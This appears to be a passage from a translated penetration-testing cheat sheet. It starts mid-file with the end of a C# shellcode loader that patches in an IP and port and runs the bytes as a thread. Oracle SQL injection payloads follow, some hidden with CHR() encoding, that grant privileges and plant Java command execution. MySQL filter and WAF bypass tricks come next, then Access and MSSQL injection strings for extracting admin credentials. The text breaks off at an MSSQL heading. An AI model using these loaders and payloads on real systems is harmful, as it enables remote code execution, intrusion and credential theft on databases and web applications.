0x50, 0x68, 0x0b, 0x2f, 0x0f, 0x30, 0xff, 0xd5, 0x57, 0x68, 0x75, 0x6e, 0x4d, 0x61, 0xff, 0xd5, 0x5e, 0x5e, 0xff, 0x0c, 0x24, 0xe9, 0x71, 0xff, 0xff, 0xff, 0x01, 0xc3, 0x29, 0xc6, 0x75, 0xc7, 0xc3 }; var ipOctetSplit = ip.Split('.'); byte octByte1 = Convert.ToByte(ipOctetSplit[0]); byte octByte2 = Convert.ToByte(ipOctetSplit[1]); byte octByte3 = Convert.ToByte(ipOctetSplit[2]); byte octByte4 = Convert.ToByte(ipOctetSplit[3]); int inputPort = Int32.Parse(port); byte port1Byte = 0x00; byte port2Byte = 0x00; if (inputPort > 256) { int portOct1 = inputPort / 256; int portOct2 = portOct1 * 256; int portOct3 = inputPort - portOct2; int portoct1Calc = portOct1 * 256 + portOct3; if (inputPort == portoct1Calc) { port1Byte = Convert.ToByte(portOct1); port2Byte = Convert.ToByte(portOct3); } } else { port1Byte = 0x00; port2Byte = Convert.ToByte(inputPort); } buf[174] = octByte1; buf[175] = octByte2; buf[176] = octByte3; buf[177] = octByte4; buf[181] = port1Byte; buf[182] = port2Byte; UInt32 funcAddr = VirtualAlloc(0, (UInt32)buf.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(buf, 0, (IntPtr)(funcAddr), buf.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; IntPtr pinfo = IntPtr.Zero; hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } catch (Exception e) { Console.WriteLine(e); throw; } } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern IntPtr CreateThread(UInt32 lpThreadAttributes,UInt32 dwStackSize,UInt32 lpStartAddress,IntPtr param,UInt32 dwCreationFlags,ref UInt32 lpThreadId); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds); }}


Right click – New Assembly
execute in database

CREATE PROCEDURE [dbo].[name]@cmd NVARCHAR (MAX)AS EXTERNAL NAME [cli].[StoredProcedures].[name]go


then executeexec dbo. Take a name

Oracle edition

command execution

1. ORACLE DATABASE 10G ENTERPRISE EDITION RELEASE (the test was successful before the virtual machine was lost in this version)


Elevate the TEST user to dba privileges. The TEST user name should be capitalized.





Create Java package


' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "SasugaOracle" as import java.lang.*;import java.io.*;class SasugaOracle{public static String exec(String cmd){String ret="",tmp;try{BufferedReader reader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));while ((tmp=reader.readLine())!=null){ret+=tmp;}reader.close();}catch(Exception ex){ret=ex.toString();}return ret;}}''''; END;''; END;--', '', 0, '1', 0) from dual)=0--



Grant Java permissions



' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''',''''''''execute''''''''); end;'''';END;'';END;--','SYS',0,'1',0) from dual)=0--



Create runcmd function


' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function runcmd(cmd in varchar2) return varchar2 as language java name ''''''''SasugaOracle.exec(java.lang.String) return java.lang.String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual)=0--



Give everyone execute permission





command execution


' and 1=2 union select 1,sys.runcmd('cmd /c whoami'),2 from dual--


2. For hacking Oracle Database and earlier versions (The April CPU patch fixes this) the current user has dba privileges


赋予SYSTEM Javasyspriv Only DBA can call this function


(select SYS.KUPP$PROC.CREATE_MASTER_PROCESS(begin execute immediate 'grant javasyspriv to SYSTEM';end;)from dual) is not null ' AND (select SYS.KUPP$PROC.CREATE_MASTER_PROCESS(CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(103)||CHR(114)||CHR(97)||CHR(110)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(115)||CHR(121)||CHR(115)||CHR(112)||CHR(114)||CHR(105)||CHR(118)||CHR(32)||CHR(116)||CHR(111)||CHR(32)||CHR(83)||CHR(89)||CHR(83)||CHR(84)||CHR(69)||CHR(77)||CHR(39)||CHR(59)||CHR(101)||CHR(110)||CHR(100)||CHR(59))from dual) is not null--


  1. Create javaexec package

' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace and resolve java source named "javaexec" as import java.lang.*;import java.io.*;public class javaexec{public static String Ecmd(String ss) throws IOException{BufferedReader mR= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(ss).getInputStream()));String st,str="";while ((st=mR.readLine()) != null) str += st+"\n";mR.close();return str;}}'';commit; end;') from dual) where rownum=1--' and (select dbms_xmlquery.newcontext(CHR(100)||CHR(101)||CHR(99)||CHR(108)||CHR(97)||CHR(114)||CHR(101)||CHR(32)||CHR(80)||CHR(82)||CHR(65)||CHR(71)||CHR(77)||CHR(65)||CHR(32)||CHR(65)||CHR(85)||CHR(84)||CHR(79)||CHR(78)||CHR(79)||CHR(77)||CHR(79)||CHR(85)||CHR(83)||CHR(95)||CHR(84)||CHR(82)||CHR(65)||CHR(78)||CHR(83)||CHR(65)||CHR(67)||CHR(84)||CHR(73)||CHR(79)||CHR(78)||CHR(59)||CHR(32)||CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(99)||CHR(114)||CHR(101)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(111)||CHR(114)||CHR(32)||CHR(114)||CHR(101)||CHR(112)||CHR(108)||CHR(97)||CHR(99)||CHR(101)||CHR(32)||CHR(97)||CHR(110)||CHR(100)||CHR(32)||CHR(114)||CHR(101)||CHR(115)||CHR(111)||CHR(108)||CHR(118)||CHR(101)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(32)||CHR(115)||CHR(111)||CHR(117)||CHR(114)||CHR(99)||CHR(101)||CHR(32)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(100)||CHR(32)||CHR(34)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(34)||CHR(32)||CHR(97)||CHR(115)||CHR(32)||CHR(105)||CHR(109)||CHR(112)||CHR(111)||CHR(114)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(46)||CHR(42)||CHR(59)||CHR(105)||CHR(109)||CHR(112)||CHR(111)||CHR(114)||CHR(116)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(105)||CHR(111)||CHR(46)||CHR(42)||CHR(59)||CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)||CHR(32)||CHR(99)||CHR(108)||CHR(97)||CHR(115)||CHR(115)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(123)||CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)||CHR(32)||CHR(115)||CHR(116)||CHR(97)||CHR(116)||CHR(105)||CHR(99)||CHR(32)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(69)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(115)||CHR(115)||CHR(41)||CHR(32)||CHR(116)||CHR(104)||CHR(114)||CHR(111)||CHR(119)||CHR(115)||CHR(32)||CHR(73)||CHR(79)||CHR(69)||CHR(120)||CHR(99)||CHR(101)||CHR(112)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(123)||CHR(66)||CHR(117)||CHR(102)||CHR(102)||CHR(101)||CHR(114)||CHR(101)||CHR(100)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(32)||CHR(109)||CHR(82)||CHR(61)||CHR(32)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(66)||CHR(117)||CHR(102)||CHR(102)||CHR(101)||CHR(114)||CHR(101)||CHR(100)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(40)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(73)||CHR(110)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(82)||CHR(101)||CHR(97)||CHR(100)||CHR(101)||CHR(114)||CHR(40)||CHR(82)||CHR(117)||CHR(110)||CHR(116)||CHR(105)||CHR(109)||CHR(101)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(82)||CHR(117)||CHR(110)||CHR(116)||CHR(105)||CHR(109)||CHR(101)||CHR(40)||CHR(41)||CHR(46)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(40)||CHR(115)||CHR(115)||CHR(41)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(73)||CHR(110)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(40)||CHR(41)||CHR(41)||CHR(41)||CHR(59)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(32)||CHR(115)||CHR(116)||CHR(44)||CHR(115)||CHR(116)||CHR(114)||CHR(61)||CHR(34)||CHR(34)||CHR(59)||CHR(119)||CHR(104)||CHR(105)||CHR(108)||CHR(101)||CHR(32)||CHR(40)||CHR(40)||CHR(115)||CHR(116)||CHR(61)||CHR(109)||CHR(82)||CHR(46)||CHR(114)||CHR(101)||CHR(97)||CHR(100)||CHR(76)||CHR(105)||CHR(110)||CHR(101)||CHR(40)||CHR(41)||CHR(41)||CHR(32)||CHR(33)||CHR(61)||CHR(32)||CHR(110)||CHR(117)||CHR(108)||CHR(108)||CHR(41)||CHR(32)||CHR(115)||CHR(116)||CHR(114)||CHR(32)||CHR(43)||CHR(61)||CHR(32)||CHR(115)||CHR(116)||CHR(43)||CHR(34)||CHR(92)||CHR(110)||CHR(34)||CHR(59)||CHR(109)||CHR(82)||CHR(46)||CHR(99)||CHR(108)||CHR(111)||CHR(115)||CHR(101)||CHR(40)||CHR(41)||CHR(59)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(115)||CHR(116)||CHR(114)||CHR(59)||CHR(125)||CHR(125)||CHR(39)||CHR(59)||CHR(99)||CHR(111)||CHR(109)||CHR(109)||CHR(105)||CHR(116)||CHR(59)||CHR(32)||CHR(101)||CHR(110)||CHR(100)||CHR(59))from dual)isnotnull--


  1. Create javacmd function

' and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace function javacmd(p_filename in varchar2)return varchar2 as language java name ''''javaexec.Ecmd(java.lang.String)return String'''';''; commit; end;') from dual) where rownum=1--' and (select dbms_xmlquery.newcontext(CHR(100)||CHR(101)||CHR(99)||CHR(108)||CHR(97)||CHR(114)||CHR(101)||CHR(32)||CHR(80)||CHR(82)||CHR(65)||CHR(71)||CHR(77)||CHR(65)||CHR(32)||CHR(65)||CHR(85)||CHR(84)||CHR(79)||CHR(78)||CHR(79)||CHR(77)||CHR(79)||CHR(85)||CHR(83)||CHR(95)||CHR(84)||CHR(82)||CHR(65)||CHR(78)||CHR(83)||CHR(65)||CHR(67)||CHR(84)||CHR(73)||CHR(79)||CHR(78)||CHR(59)||CHR(32)||CHR(98)||CHR(101)||CHR(103)||CHR(105)||CHR(110)||CHR(32)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(117)||CHR(116)||CHR(101)||CHR(32)||CHR(105)||CHR(109)||CHR(109)||CHR(101)||CHR(100)||CHR(105)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(39)||CHR(99)||CHR(114)||CHR(101)||CHR(97)||CHR(116)||CHR(101)||CHR(32)||CHR(111)||CHR(114)||CHR(32)||CHR(114)||CHR(101)||CHR(112)||CHR(108)||CHR(97)||CHR(99)||CHR(101)||CHR(32)||CHR(102)||CHR(117)||CHR(110)||CHR(99)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(112)||CHR(95)||CHR(102)||CHR(105)||CHR(108)||CHR(101)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(32)||CHR(105)||CHR(110)||CHR(32)||CHR(118)||CHR(97)||CHR(114)||CHR(99)||CHR(104)||CHR(97)||CHR(114)||CHR(50)||CHR(41)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(118)||CHR(97)||CHR(114)||CHR(99)||CHR(104)||CHR(97)||CHR(114)||CHR(50)||CHR(32)||CHR(97)||CHR(115)||CHR(32)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(117)||CHR(97)||CHR(103)||CHR(101)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(32)||CHR(110)||CHR(97)||CHR(109)||CHR(101)||CHR(32)||CHR(39)||CHR(39)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(101)||CHR(120)||CHR(101)||CHR(99)||CHR(46)||CHR(69)||CHR(99)||CHR(109)||CHR(100)||CHR(40)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(108)||CHR(97)||CHR(110)||CHR(103)||CHR(46)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(41)||CHR(114)||CHR(101)||CHR(116)||CHR(117)||CHR(114)||CHR(110)||CHR(32)||CHR(83)||CHR(116)||CHR(114)||CHR(105)||CHR(110)||CHR(103)||CHR(39)||CHR(39)||CHR(59)||CHR(39)||CHR(59)||CHR(32)||CHR(99)||CHR(111)||CHR(109)||CHR(109)||CHR(105)||CHR(116)||CHR(59)||CHR(32)||CHR(101)||CHR(110)||CHR(100)||CHR(59))from dual)isnotnull--


  1. command execution

' and 1=2 union select 1,(select javacmd('whoami') from dual),'3' from dual--'||utl_inaddr.get_host_name((select javacmd('ping') from dual))||'


injection technique

Mysql injection tips

Mysql common protection methods and bypass

basic introduction

MySQL has now released the official version 8.0.21, which integrates MySQL 8.0.20 in the ubuntu20 apt source. Officially, MySQL8 is 2 times faster than MySQL 5.7, supports json, nosql, modified default authentication, and has a lot of other improvements and faster performance.

1. Character replacement

Common entry point guard codes for some small cms

$str = str_replace("select", "", $str);
$str = str_replace("union", "", $str);



The above can be double-written, or case-bypassed. So the developers replaced it with:

$str = str_ireplace("select", "***", $str);
$str = str_ireplace("union", "***", $str);



This replacement is effective, but severely disrupts normal business. So in reality, it is more about regular matching protection.

2. Regular matching

In some waf or more popular cms, we will see such protection code

$filter = "\\||\\b(alert\\(|confi rm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\()|]*?\\bon([a-z]{4,}) \s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|< |\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|


which matches injection statements of various patterns toINSERT\\s+INTO.+?VALUESFor example, byinsert into xxx selectway to bypass

After the accumulative beatings, developers slowly found a way. When injecting and obtaining data, joint queries or sub-queries are always required, so some classic regularities were generated, using Discuz's protection code_do_query_safefunction as an example

The meaning of this code is to replace all characters except a-z0-9 and a few limited characters in the sql statement to be queried with empty, and then match, if the match is such asunionall(selectIn this way, the code that must be used to obtain data will refuse to execute.

But it is not completely possible to bypass, for example, the same table injection does not need to use subqueries

select * from test where test3=-1 or substr(test2,1,1)=1;
select * from test where test3=-1 or substr(test2,1,1)=2;



Can also be executed in multiple statements

set @a:=0x73656c656374292a2966726f6d2074657374;
#select * from test
prepare s from @a
execute s;




handler new_ips_final open;
handler new_ips_final read first;
handler handler_table read next;
handler handler_table read next;
handler handler_table read next;
handler new_ips_final close;
#Remember to develop a habit and close it at will



So the big guys of developers thought of a new method: semantic analysis

3. Semantic Analysis

By analyzing the user's input, if it conforms to the syntax of mysql (of course, the actual process is much more complicated), it will be identified as sql injection and blocked. As shown below

For example, in a simple select 1 statement, 1 is the position of expr, which can be a number, a Boolean value, or a function, or you can write select+1 like this. When all possibilities are listed, This prevents it from being bypassed by attackers.

The general idea of ​​bypassing this kind of protection is to look for a special syntax, which leads to an error in the semantic analysis of the defender. When the error reaches a certain threshold, the protection device considers that this is not a legal SQL statement and releases it.

Add character set processing after 1

select 1 union select '1' collate utf8_bin;



select trim(leading 'x' from 'xxxbarxxx');

Find some special functions that contain keywords that are not recognized by the semantic analysis of protective equipment

New features of mysql8 sql syntax

The new syntax that appeared in Mysql 8.

TABLE Statement

TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]


The role is to directly list all the results of the table

VALUES Statement


VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
ROW(value_list)[, ROW(value_list)][, ...]
value[, value][, ...]



List the values ​​of a row directly, for example:

values row(1,-2,3),row(5,7,9),row(4,6,8);


The results of the values ​​statement and the table statement are all table data, which can be done like this

values row(1,-2,3).row(5,7,9),row(4,6,8) union select * from user;



values row(1,-2,3).row(5,7,9),row(4,6,8) union table user;

Successfully bypass the most criticalselect, that is, data can be obtained without select, and multi-statement execution is not required

Using mysql8 sql injection skills

Suppose a scenario, that is, select cannot be used, and multiple statements cannot be used, and the database is as follows

The application code snippet is as follows

$sql = &quot;select * from news where id= 'injection point'&quot;

If the data points are echoed, it is easy to think of using a table statement:

select * from news2 where id=0 union table user;


Here, news2 and user both have 3 columns, which can be directly combined. In practice, some tables usually have more than 3 columns, but some special tables often have 3 or 4 columns, such as the config configuration table, the usual column name is id , config_name, config_value, obtain the key configuration information of the website through the above methods to help further penetration, similar to the session table, log table, etc.

When the above table does not exist, we can use the blind injection method, and we need to know the table name and number of fields to obtain the data.

select * from news2 where id=-1 or (1,'a','u')< (table user limit 1);
select * from news2 where id=-1 or (1,'b','u')< (table user limit 1);



The less than sign compares the size of each column in a row in turn

So it can be determined that the first character of the user table is a, and so on

select * from news2 where id=-1 or (1,'ad','u')< (table user limit 1);
select * from news2 where id=-1 or (1,'ae','u')< (table user limit 1);



WAF bypass

There are various types of WAF, and the methods of filtering and detection are generally the same. WAFs are not perfect, and they all have their own flaws. The ways to bypass WAF are summarized as follows.

  1. Features of Web Containers
  2. Web application layer problems
  3. WAF's own problems
  4. Some features of the database

WEB Container Features

a. One of the characteristics

In the IIS+ASP environment, for the % in the parameter value of the URL request, if the string formed with the following characters is outside the URL encoding table, the ASP script will ignore it during processing.




Now suppose there is the following request:
http://zkaq666.com/1.asp?id=1 union se%lect 1,2,3,4 fro%m adm%in

In the WAF layer, the obtained id parameter value is 1 union all se%lect 1,2,3,4 fro%m adm%in , at this time, waf cannot detect the keyword select from, etc.
But because of the characteristics of IIS, the actual parameter obtained by id becomes 1 union all select 1,2,3,4 from admin, thus bypassing waf.
This feature does not exist only in asp.net on iis+asp.

b. Feature 2

Unicode encoded characters for IIS
IIS supports parsing of Unicode encoded characters, but some WAFs do not necessarily have this capability







as follows:
http://zkaq666.com/1.asp?id=1 union all %u0053elect 1,2,3,4, %u0066rom admin

However, the IIS backend detects the Unicode encoding and automatically decodes it. The final parameters obtained by the script engine and database engine will be: 1 union all select 1,2,3,4 from admin

In this case, corresponding tests need to be carried out according to different wafs, which are not perfect. But for bypass, often as long as one character is successfully bypassed, the purpose can be achieved.

c. Feature 3

HPP (HTTP Parameter Pollution): HTTP parameter pollution







In the HTTP protocol, parameters with the same name are allowed to appear multiple times. E.g:

http://zkaq666.com/1.asp?id=123&id=456this request.

Depending on the WAF, id=123 and id=456 are generally checked separately at the same time, and some may only take one of them for detection. But for IIS+ASP/ASP.NET, the value of the ID parameter it finally gets is 123, space 456 (asp) or 123,456 (asp.net).
So for this kind of filtering rules, the attacker can pass:
id=union+select+password/&amp;id=/from+admin to evade the detection of select * from. Because of the HPP feature, the parameter value of id will eventually become: union select password/,/from admin

d. Feature 4

Malformed HTTP request

When sending a malformed, non-RFC2616 standard HTTP request to a web server, the web server will parse the malformed HTTP request as much as possible for compatibility purposes. However, if the compatibility mode of the web server is inconsistent with the WAF, bypassing may occur. Let's look at this POST request:






If you change the request to






This request packet becomes: Method is invalid, there is no protocol field HTTP/1.1, and there is no Host field.

If the HOST field is missing in the HTTP/1.1 protocol, 400 bad request will be returned. However, some versions of Apache will set the protocol to HTTP/0.9 by default when processing this request, and the default servername of Apache will be used by the Host Dam by default. This kind of malformed request can still be processed.

If some WAFs obtain data strictly according to GET, POST and other methods when processing data, or process database packets through regularization, they will be bypassed due to the relaxed request method of some versions of Apache.

Web Application Layer Defects

  • multiple encoding







If the web application can receive multiple encoded data, and the WAF can only decode one layer (or less than the number of layers that the web application can receive), the WAF will cause the defense mechanism to be bypassed due to incomplete decoding.

  • Problems with multiple data sources

For example, the Request object in Asp and Asp.NET is too loose for the parsing of the request data packet and does not follow the RFC standard. If the developer uses the following methods to receive the parameters passed in by the user when writing code
The WEB program can obtain the parameter value of the parameter ID from the following three ways:

  1. Get the parameter value of the ID from the GET request;
  2. If there is no ID parameter in the GET request, try to get the parameter value from the ID parameter of POST;
  3. If the parameter value of ID cannot be obtained in both GET and POST, the parameter value is obtained from the ID parameter in Cookies.
    In this way, for some WAFs, if only GET or POST is checked, the injection attack from cookie is powerless, not to mention the bypass method from the combination of these three methods.

WAF's own flaws

  • Whitelist mechanism

There are certain mechanisms in WAF that do not process and intercept request data in the whitelist:

  1. Specifies the data for an IP or IP range.
  2. Access data from search engine crawlers.
  3. data for other characteristics

For example, in order not to affect the optimization of the site, some WAFs used the User-Agent for some search engines (such as Google) as a whitelist, and did not detect and block them. It is very easy to forge the User-Agent of the HTTP request, just change the User-Agent in the HTTP request package to the User-Agent of the Google search engine, and then it can be unblocked.

  • Data acquisition method is flawed

Some WAFs cannot fully support the detection of various request packets such as GET, POST, and Cookie. When the attack data packet of the GET request cannot be bypassed, the conversion to POST may be bypassed. Or, when POST cannot be bypassed with Content-Type: application/x-www-form-urlencoded, Content-Type: multipart/form-data converted to upload package format can be bypassed







  • Improper processing of data

1. %00 truncation Perform URL decoding on %00, which is the NULL character in C language
If WAF does not properly store and process the acquired data, the following data will be truncated after %00 decoding, resulting in the following data not being tested.







Analysis: After WAF obtains and decodes the value of the parameter id, the parameter value will be truncated to 1/*, and the following attack statements will not be detected by WAF.

2, &amp; character processing




These WAFs separate part1, part2, and part3 with an ampersand and then check their parameter values. However, if you encounter this construct:


waf will decompose the uploaded parameters into 3 parts:

  1. par1=1+union+/*
  2. x=1*/+select/*
  3. ×2=1*/1,2,3,4,5+from+Admin

If these three parameters are detected separately, some WAFs cannot match the attack characteristics.

Here %26 is the &amp; character
/%26/->/&/ is actually just a SQL comment

  • Improper data cleaning

When there is a large amount of interference data in the parameter values ​​submitted by the attacker, such as a large number of spaces, TAB, newline, %0c, comments, etc., WAF needs to clean it and filter out the real attack data for detection to improve the inspection performance and save money. resource.
If the WAF does not clean the data properly, the real attack data will be cleaned, and the remaining data cannot be detected.

  • generality of rules

For general-purpose WAFs, it is generally impossible to know which WEB containers, which databases, and which scripting languages ​​are used in the backend. Each WEB container, database and programming language has its own characteristics, and it is very difficult to use common WAF rules to match and intercept.
While taking into account some of their commonalities, general-purpose WAFs must also take into account their characteristics, otherwise it is easy to be bypassed by some characteristics!

  • Compromise for performance and business

It is very difficult to be fully compatible with WAFs of various Web Servers and various databases. For universality, some inspection conditions need to be relaxed, and the violent filtering method will affect the business.
For soft WAF with strong versatility, the performance of various machines and systems has to be considered, so some super large data packets and super long data may be skipped and not detected.
The above are some of the problems of WAF itself. Next, we will explain these problems and see how WAF is affected by these problems.
Then there are some characteristics of the database. Different databases have some characteristics of their own. If WAF cannot handle these characteristics, there will be big problems.

Next, some articles on the use of actual combat are given, which can be combined with the above knowledge to learn together:

MySQL bypassing WAF combat skills


My Waf Bypass Series Article

Access database injection techniques

Quick check

joint query

?id=1 and exists(select * from admin) //Judgment table and field

?id=1 and 1=2 union select top 1 1,username,3,4,5,6,7,8,9,10 from admin order by 2 desc //Query field content

?id =1 and 1=3 union select top 5 1,username,3,4,5,6,7,8,9,10 from admin where username not in(select username from admin where username ='admin1' or username ='admin2' or username='admin3') //查询字段内容



blind note

?id=1 and len((select username from admin where id=1))=6 //Determine field length
?id =1 and iif(1=1,(mid((select username from admin where id=1),1,1)='b'),0 ) //Determine field content



offset injection

?id=1 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.* from admin //Number of fields in the table after judgment
?id=1 union select admin.*,1,2,3,4,5,6,7,8,9,10,11,12 from admin / query data
?id=1 union select 1,2,3,4,5,6,* from (admin as a inner join admin as b on a.id=b.id)//Query data



joint query

access has no annotation, usually use null or %00 as annotation
The access joint query is to put the back table in the front, which is the opposite of mysql
access select *fromThe table name must be added, the table name can be usedexists(select * from table_name)To judge, the column name can also be judged by this.

There is no limit for access, but you can use top and desc to find out the content one by one

  • top 1 returns the first line of content, top 2 returns the first 2 lines of content
  • asc ascending desc descending

By modifying the number of top 1, all contents are displayed one by one with desc and asc.

Select * From news where id=1 and 1=2 union select top 1 1,username,3,4,5,6,7,8,9,10 from admin order by 2 desc


show the first line
Display the first three lines
Note that the field used for sorting is preferably the field used to display the content

This will lead to a more interesting problem
For example, the fourth one starts with c, and the fifth one starts with b. Use the above content to query
It is always found thatcadmin,Can usenot inexclude it.

Select * From news where id =1 and 1=3 union select top 5 1,username,3,4,5,6,7,8,9,10 from admin where username not in('admin1','admin2')


You can use + to connect multiple content, replace it with %2b in the url

Select * From news where id=1 and 1=2 union select top 5 1,username+'|'+password,3,4,5,6,7,8,9,10 from admin order by 2 desc


blind note

guess field
IIf ( expr , truepart , falsepart )
althoughIIfjust returntruepartandfalsepartone of them, but both parts are always calculated. Therefore, care should be taken for unnecessary side effects. For example, if calculatingfalsepartresults in a division by zero error, then even ifexprforTrue, will also generate an error.

Calculate length len()
Intercept string mid('abc',1,1)
Convert ascii code ASC() function
ascii to character CHR() function

select * from news where id=1 and len((select username from admin where id=1))=6


Determine the first field in the admin table

select * from news where id =1 and iif(1=1,(mid((select username from admin where id=1),1,1)='b'),0 )



offset injection

Applicable situation:

  • Know the table name but don't know the column name
  • The number of columns in the former table is much larger than that of the latter table
select * from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin



use*oradmin.*Gradually replace numbers from behind

select * from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.* from admin


get admin to have26-12=14fields, followed byadmin.*go to other places

select * from product where id=100 union select admin.*,1,2,3,4,5,6,7,8,9,10,11,12 from admin


If the number of fields in the former table is equal to the number of fields in the latter table2times, assuming that the number of fields in the admin table is10, you can use26-10*2=6,

select * from product where id=100 union select 1,2,3,4,5,6,* from (admin as a inner join admin as b on a.id=b.id)


inner joinEquivalent toselect * From A, B Where A.aid = B.bid
admin as awilladmintable renamea,becauseinner joinYou need to use two different tables, so you need one table named 2 different names.
The advantage of this is that the content of the back table can be displayed more.

Mssql database injection skills


  1. master: The system comes with a library that stores all the information
    sysdatabae: A table in the system's own library, which stores all library names
    namerepresents the library name,dbidIndicates the number of the library

  2. sysobjects: Each library has it, the system library stores all table names, and other libraries store their own table names
    nameIndicates the table name, each table has its own uniqueid, xtypeIndicates the type of this table

  3. syscolumns: Each library has it, the system library stores all field names, and other libraries store their own field names
    namerepresents the field name, viaidDetermine which table the field belongs to

    4. Other content

  1. Notes are --
  2. select db_name(N), if N is empty, it means the current database. You can query other database names by modifying the number.
  3. select user to query the current user
  4. select @@version query database version

joint query

